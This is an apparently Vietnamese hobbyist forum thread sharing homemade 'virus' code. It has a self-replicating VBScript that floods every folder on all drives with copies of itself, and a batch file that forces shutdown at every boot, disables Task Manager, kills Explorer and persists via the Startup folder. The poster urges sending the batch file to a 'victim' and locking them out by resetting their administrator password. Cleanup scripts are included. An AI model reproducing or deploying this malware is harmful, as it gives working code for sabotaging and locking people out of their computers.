[Chia sẻ] Tuyển tập code viruts viết bằng notepad + file fix lỗi

--------------------------------------------------------------------------------

Tác hại của con VR này:

- Nhân bản chính nó vào tất cả các thư mục của Windows, các thư mục trong ổ C:\ D:\ và E:\ và cả các thư mục con của nó. Nói chung là ổ cứng có bao nhiêu Folder thì con VR sẽ nhân bản lên bấy nhiêu lần và sau đó cho vào 1 Folder 1 bản.

Mục đích để thằng bị dính nó hoang mang lo sợ, muốn xóa cũng ko thể nào xóa hết đc. Làm sao có thể xóa được gần cả ngàn thư mục trong Windows? mà thư mục nào cũng có mặt Virus

Và tất nhiên là mình có kèm theo cả thuốc giải

Chạy File thuốc giải là coi như xong, như chưa có chuyện gì xảy ra vậy

Vào notepad gõ đoạn code sau

Mã:

'Thuoc Doc !!!

Dim fso,file,VBCopy

Set fso=CreateObject("Scripting.FileSystemObject")

Set file=fso.OpenTextFile(WScript.ScriptFullName,1)

VBCopy=file.ReadAll

FolderList("A:\")

FolderList("B:\")

FolderList("C:\")

FolderList("D:\")

FolderList("E:\")

FolderList("F:\")

FolderList("G:\")

FolderList("H:\")

FolderList("I:\")

FolderList("J:\")

FolderList("K:\")

FolderList("L:\")

FolderList("M:\")

FolderList("N:\")

FolderList("O:\")

FolderList("P:\")

FolderList("Q:\")

FolderList("R:\")

FolderList("S:\")

FolderList("T:\")

FolderList("U:\")

FolderList("V:\")

FolderList("X:\")

FolderList("Y:\")

FolderList("Z:\")

FolderList("W:\")

Sub FolderList(FolderSpec)

On Error Resume Next

Dim f,f1,sf,COP,CAP

Set f=fso.GetFolder(FolderSpec)

set sf=f.SubFolders

For Each f1 In sf

Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")

COP.write VBCopy

Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")

CAP.write VBCopy

FolderList(f1.Path)

Next

End subsave lại bằng tên tranngap.vbs

Đợi một lúc và làm tiếp thế này để thoát khỏi sự tràn nhập cả trong thư mục và desktop ^^

copy code sau vào notepad

Mã:

'Thuoc Giai

Dim fso,file,VBCopy

Set fso=CreateObject("Scripting.FileSystemObject")

Set file=fso.OpenTextFile(WScript.ScriptFullName,1)

VBCopy=file.ReadAll

FolderList("A:\")

FolderList("B:\")

FolderList("C:\")

FolderList("D:\")

FolderList("E:\")

FolderList("F:\")

FolderList("G:\")

FolderList("H:\")

FolderList("I:\")

FolderList("J:\")

FolderList("K:\")

FolderList("L:\")

FolderList("M:\")

FolderList("N:\")

FolderList("O:\")

FolderList("P:\")

FolderList("Q:\")

FolderList("R:\")

FolderList("S:\")

FolderList("T:\")

FolderList("U:\")

FolderList("V:\")

FolderList("X:\")

FolderList("Y:\")

FolderList("Z:\")

FolderList("W:\")

Sub FolderList(FolderSpec)

On Error Resume Next

Dim f,f1,sf,COP,CAP,ATT

Set f=fso.GetFolder(FolderSpec)

set sf=f.SubFolders

For Each f1 In sf

'Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")

'COP.write VBCopy

'Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")

'CAP.write VBCopy

'Set ATT=fso.GetFolder(f1.Path)

'ATT.Attributes=ATT.Attributes+2

fso.DeleteFile(f1.path & "\Virus !!!!!!!.vbs")

fso.DeleteFile(f1.path & "---Virus !!!!!!!.vbs")

FolderList(f1.Path)

Next

End subsave dưới tên giaithoat.vbs

Nói chung thật là bá đạo,bể học đúng là vô biên,chẹp chẹp

<Sưu tầm>

__________________

NgƯờI đI mỘt NửA hỒn TôI cHếT ~.~ MộT nỬa HồN tÔi ĐứNg ... ChỬI nGưỜi!

Click this bar to view the full image.

KhI yÊu EM đÂu CầN em BiẾt ĐâU ~.~ bỞi KhI yÊu ChỈ mỘt MìNh TôI bUồN đAu

23 người cảm ơn HoangMinhTuan vì bài viết hay: 4shin (03-10-2009), cauchunho89 (05-05-2009), hieu_yeudoi (02-17-2009), hitmanx19 (02-19-2009), hunter_304 (03-10-2009), iamme102 (04-21-2009), kidofido (03-12-2009), kyklpv (04-21-2009), Lost_Angel (03-11-2009), lovegameisme (11-26-2009), Mini0315 (07-19-2009), nguyenvanthuong2525 (03-15-2009), nguyenvodanh123 (06-19-2009), pedao06 (04-18-2009), Ryan_TP (03-14-2009), socola123 (03-18-2009), stuaonekb (03-18-2009), thanh.pham (06-12-2009), thanhps42 (06-12-2009), Thor (05-04-2009), thuantran (03-10-2009), tidotp (05-18-2009), tuthan1989 (06-30-2009)

5 Chủ đề mới nhất của HoangMinhTuan

Chủ đề Chuyên mục Người gởi sau cùng Trả lời Lần đọc Bài mới gửi

[Blog]List nhạc viền trong suốt,nền trong... Hướng dẫn - Thủ thuật SliverMoon 1 222 11-26-2009 11:44 PM

[Media Fire] Film hoạt hình Naruto Tiếng Việt... Hoạt hình tugll77 6 1045 11-21-2009 04:16 PM

[D-Link] Link down trọn bộ Naruto [Update liên... Truyện HoangMinhTuan 8 301 11-21-2009 03:36 PM

[Bình chọn-Tech24] Boy Kute nhất trong truyện... Truyện concrete302 15 396 11-21-2009 12:35 AM

HoangMinhTuan

Xem hồ sơ

Gởi nhắn tin tới HoangMinhTuan

Tìm bài viết khác của HoangMinhTuan

03-10-2009, 03:28 AM #2

HoangMinhTuan

Gia tộc Uchiha

Tham gia ngày: Jul 2008

Tuổi: 22

Bài gởi: 897

Cảm ơn: 1.318

Được cảm ơn 2.836 lần trong 653 bài

Danh hiệu

Tổng số: 7 Con thứ 2:

--------------------------------------------------------------------------------

Mở notepad lên copy đoạn lệnh này vào :

Mã:

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v shutdown /t REG_SZ /d "shutdown.exe -f -s -t 05" /f

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskmgr /t REG_DWORD /d 1 /f

cls

copy thelove.bat "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\"

cls

taskkill /f /im explorer.exe

cls

shutdown.exe -f -s -t 05 -c "your computer will turn off after 5s ..."

cls

@echo off

echo Warning!!!!!!!!May Tinh Cua Ban Da Bi Nhiem Virus Bat Diet !!!!!!!!!

echo GOOD BYE SEE YOU AGAIN

pause

del thelove.batsave lại với tên thelove.bat và gửi cho victim , chỉ 1 click thì explorer bị tắt , mà hình trắng trơn tự động sau 5 GIÂY là máy bị tắt . Từ lần khởi động máy sau cũng tương tự bị như thế cứ 5 GIÂY là tắt

bạn có thể down virussthelove.rar ở dưới về chạy file thelove.bat thì sẽ thấy tác hại của nó (nhớ down file giaicuu.rar trước kẻo ko giải cứu được đâu ...)

down file giaicuu.rar về lưu vào ổ nào đó như D:\

bây giờ mới được chạy file thelove.bat trong virussthelove.rar

GIẢI CỨU :

Vì nó tắt explorer , taskmanganer ,và tự động shutdown và thực hiện trên all user nên chỉ còn cách vào admin .

vào admin xong mở file giaicuu.rar vừa lưu vào ổ D:\

chạy file giaicuu.bat trong đó , xong rồi restart lại máy(không cần vào admin) chạy tiếp tieptheo.bat thế là xong .....

CHÚ Ý :Nếu đã wa' thù ghét victim thì hãy khóa luôn admin của hắn bằng cách thêm :

net user administrator 40269

vào đầu đoạn mã trên.(40269 là password của admin )